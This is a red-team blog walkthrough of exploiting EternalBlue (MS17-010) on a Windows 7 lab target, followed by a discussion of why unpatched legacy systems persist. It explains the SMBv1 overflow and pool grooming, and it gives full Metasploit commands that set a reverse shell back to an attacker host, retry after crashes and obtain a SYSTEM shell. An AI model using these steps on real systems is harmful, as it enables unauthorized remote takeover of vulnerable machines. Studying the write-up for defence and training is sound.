This post is written by Milot Shala, Cybersecurity Director at ANIMARUM, a Red Team Lead and Offensive Security Architect with 25 years of experience across enterprise security, cloud infrastructure, and adversary simulation. This is a part of Revisiting series of blog posts.

Note: This has been a part of a controlled environment with permission during a competition. Please refer to the blog's about page for disclaimer.


We want to start this one with a number: nine. That is how many years have passed since the patch for this vulnerability was released. MS17-010 was published in March 2017. We are in 2026. And yet, in a recent internal engagement, we found an unpatched Windows Server 2008 R2 box sitting on a segmented manufacturing network with port 445 wide open. Same exploit. Same result. In a three-month analysis of attacks on port 445, researchers found that 91.88% of all attempts targeting that port used EternalBlue. Let that number sink in before we get into the mechanics.

This post walks through the exploitation chain, the first attempt that crashes the target instead of owning it, why that happens, and how to fix it. Then we talk about why this is still a live conversation in 2026.


The Setup

The target is a Windows 7 SP1 x64 machine with SMBv1 enabled and MS17-010 unpatched. Port 445 is reachable from the attacker. No credentials required, no user interaction required, no prior foothold. We start from zero.

First, confirm the target is actually vulnerable. Nmap has a script for this:

nmap -p 445 --script smb-vuln-ms17-010 10.10.10.40
Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH

And BINGO. The host is confirmed vulnerable. Let us get into why this matters before we pull the trigger.


What SMBv1 Is Actually Doing Here

SMB, the Server Message Block protocol, is how Windows machines share files, printers, and pipes across a network. Version 1 dates back to the 1980s and is a protocol with a lot of legacy surface. One feature of the SMBv1 specification is support for File Extended Attributes, FEA lists, which are structures used to carry metadata about files.

EternalBlue relies on a Windows function named srv!SrvOS2FeaListSizeToNt. To understand how this leads to remote code execution, the key detail is that both SMB_COM_TRANSACTION2 and SMB_COM_NT_TRANSACT have a _SECONDARY command used when there is too much data to include in a single packet. The crucial difference between the two is that NT_TRANSACT calls for a data packet twice the size of TRANSACTION2. An error in validation occurs if the client sends a crafted message using the NT_TRANSACT sub-command immediately before the TRANSACTION2 one: while the protocol recognizes that two separate sub-commands have been received, it assigns the type and size of both packets based only on the last one received. Since the last one is smaller, the first packet will occupy more space than it is allocated.

More precisely, there is a buffer overflow in the SrvOs2FeaToNt function due to a arithmetic error in SrvOs2FeaListSizeToNt where a DWORD (32-bit) value is incorrectly truncated to a WORD (16-bit) during size calculations. The kernel allocates a buffer that is too small for the data it receives, and the overflow writes past the end of it into adjacent kernel pool memory.

SMB lives in a driver called Srv.sys, which is running in ring 0. This is not a user-land overflow. When the exploit triggers, we are writing attacker-controlled data directly into kernel memory.


The Kernel Pool Grooming Problem

A raw overflow into kernel pool memory is not enough on its own. What ends up next to our overflowed buffer is non-deterministic unless we manipulate the layout first. This is where pool grooming comes in.

The kernel pool grooming process involves creating a large SMB1 buffer to position transactions, sending SMB2 packets to occupy specific memory locations, strategically creating free holes adjacent to SMBv2 buffers, and then positioning the exploit packet to corrupt specific memory structures.

The goal is to overflow into a srvnet buffer that sits in the non-paged kernel pool directly adjacent to the srv allocation. By overwriting the SRVNET_HEADER of that buffer, specifically the pSrvNetWskStruct pointer, the attacker redirects the handler function that srvnet.sys calls when a connection closes. The shellcode is written to the HAL's heap, and the fake handler pointer is made to point there. When the connections are closed, execution is redirected to the shellcode in the HAL's heap, which had execute permissions on Windows versions prior to Windows 8.

The exploit then installs DoublePulsar as its first-stage payload. DoublePulsar's shellcode locates the IDT from the KPCR, traverses backwards from the first interrupt handler to find the ntoskrnl.exe base address, reads the exports directory to find ExAllocPool, ExFreePool, and ZwQuerySystemInformation, then uses ZwQuerySystemInformation with SystemQueryModuleInformation to locate Srv.sys and patches the SrvTransactionNotImplemented() function pointer at SrvTransaction2DispatchTable[14] to its own hook function. DoublePulsar is now resident in kernel memory as a backdoor, ready to receive a DLL payload over SMB.


First Try

We set up Metasploit and fire the standard module:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.40
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/shell_reverse_tcp
msf6 exploit(ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.5:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - Smb1CheckMessage: [2017-06-27] Bluescreen happened!
[-] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.10.40:445 - SMB Negotiation Failure -- this often occurs when lsass crashes.
[-] 10.10.10.40:445 - The target may reboot in 60 seconds.
First attempt. The target blue-screened before we got a shell. This is expected. This is also the part most writeups skip.

The target blue-screened. No shell. The exploit reached the target, started grooming the pool, and then crashed the kernel instead of owning it. The VERIFY_ARCH option is set to true by default, which means the module checks the remote architecture before proceeding, but the architecture detection from the SMB headers did not match what the module expected. The pool grooming failed and the overflow corrupted the wrong memory.

The first fix is to explicitly set the target architecture:

msf6 exploit(ms17_010_eternalblue) > set target 0
msf6 exploit(ms17_010_eternalblue) > show targets

Exploit targets:
   Id  Name
   --  ----
   0   Automatic Target
   1   Windows 7
   2   Windows Embedded Standard 7
   3   Windows Server 2008 R2
   4   Windows 8.1
   5   Windows Server 2012
   6   Windows 10
   7   Windows Server 2016
   8   Windows Server 2019

The target here is confirmed Windows 7 SP1 x64. We set that explicitly:

msf6 exploit(ms17_010_eternalblue) > set target 1
msf6 exploit(ms17_010_eternalblue) > run

Same result. Blue screen. The grooming is still failing.


The Wall: Pool Grooming Reliability

The Metasploit module description is candid about this: the exploit may not trigger 100% of the time and should be run continuously until triggered. The pool gets into hot streaks and needs a cool down period before shells start coming in.

The instability comes from the nature of kernel pool grooming. We are trying to precisely position allocations in non-paged pool memory that other processes on the target are also allocating and freeing concurrently. The more active the target is, the less predictable the pool layout. On a busy server this can take many attempts. On a quiet lab box it usually goes on the first or second try. The solution is not to give up, it is to wait, increase the grooming parameters, and retry.

msf6 exploit(ms17_010_eternalblue) > set GroomAllocations 12
msf6 exploit(ms17_010_eternalblue) > set MaxExploitAttempts 5
msf6 exploit(ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.5:4444
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[*] 10.10.10.40:445 - Trying exploit attempt 1 of 5...
[*] 10.10.10.40:445 - Groom Allocations: Attempt 1 of 12...
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.10.40
[*] Command shell session 1 opened (10.10.14.5:4444 -> 10.10.10.40:49159)

The Shell

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name:    Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601

NT AUTHORITY\SYSTEM. No credentials. No user interaction. One unauthenticated packet sequence against a network-accessible port. The privilege level is the highest available on the machine without any further escalation steps required because the exploit runs in ring 0, the kernel itself.


Why This Is Still Happening In 2026

This is the part that deserves more than a footnote.

EternalBlue continues to be actively deployed in attack campaigns, particularly against legacy Windows environments in Southeast Asia and Eastern Europe. Its persistence is not due to technical sophistication but rather stems from poor cybersecurity practices, including delayed patch implementation, operational reliance on unsupported systems, and inadequate network segmentation that allows lateral movement without credentials.

The pattern we see repeatedly in red team engagements is not a naive administrator who has never heard of the patch. It is operational constraints. A hospital running an unpatched Windows 10 (or even a Windows 7) on a workstation connected to a piece of imaging equipment that the manufacturer no longer supports and will not certify on a newer OS. A factory floor running Windows Server 2008 R2 on an HMI that controls physical machinery and cannot be taken offline for patching during a production window that never closes. A utility running legacy SCADA software that breaks if the underlying OS is updated. In these environments, EternalBlue is not a theoretical risk. It is a known, accepted, unmitigated risk sitting behind a firewall rule that someone is hoping is sufficient.

EternalBlue will likely remain relevant in the cybersecurity landscape through 2026 and beyond, particularly targeting industries with outdated infrastructure such as manufacturing, healthcare, and public utilities, with continued integration of this exploit into more sophisticated attack chains that combine initial access techniques with EternalBlue for lateral movement.

The secondary use case is what we find most concerning in real engagements: not using EternalBlue as the initial entry point, but using it for lateral movement after getting in through a phishing email or a vulnerable web application. TrickBot, Retadup, LemonDuck, and numerous other malware families have added EternalBlue to their propagation capabilities. One unpatched box on an otherwise healthy internal network becomes the pivot point that lets a campaign move from a compromised endpoint to a domain controller.

The exploit was developed by the NSA, stolen by the Shadow Brokers, and published to the world in April 2017. Before it leaked, EternalBlue had been used in intelligence-gathering and counterterrorism missions for approximately five years. It has now been public for nine. The patch has existed for the same nine years. The machines still running without it are not an accident. They are a policy failure, a procurement failure, or an operational constraint that security teams lose the argument about every single time they raise it.

That is what makes this one worth revisiting. The technique has not changed. The architecture it targets has not changed. The defenders who cannot apply the patch have not changed. In 2026, EternalBlue is no longer a sophisticated tool. It is a janitor's key.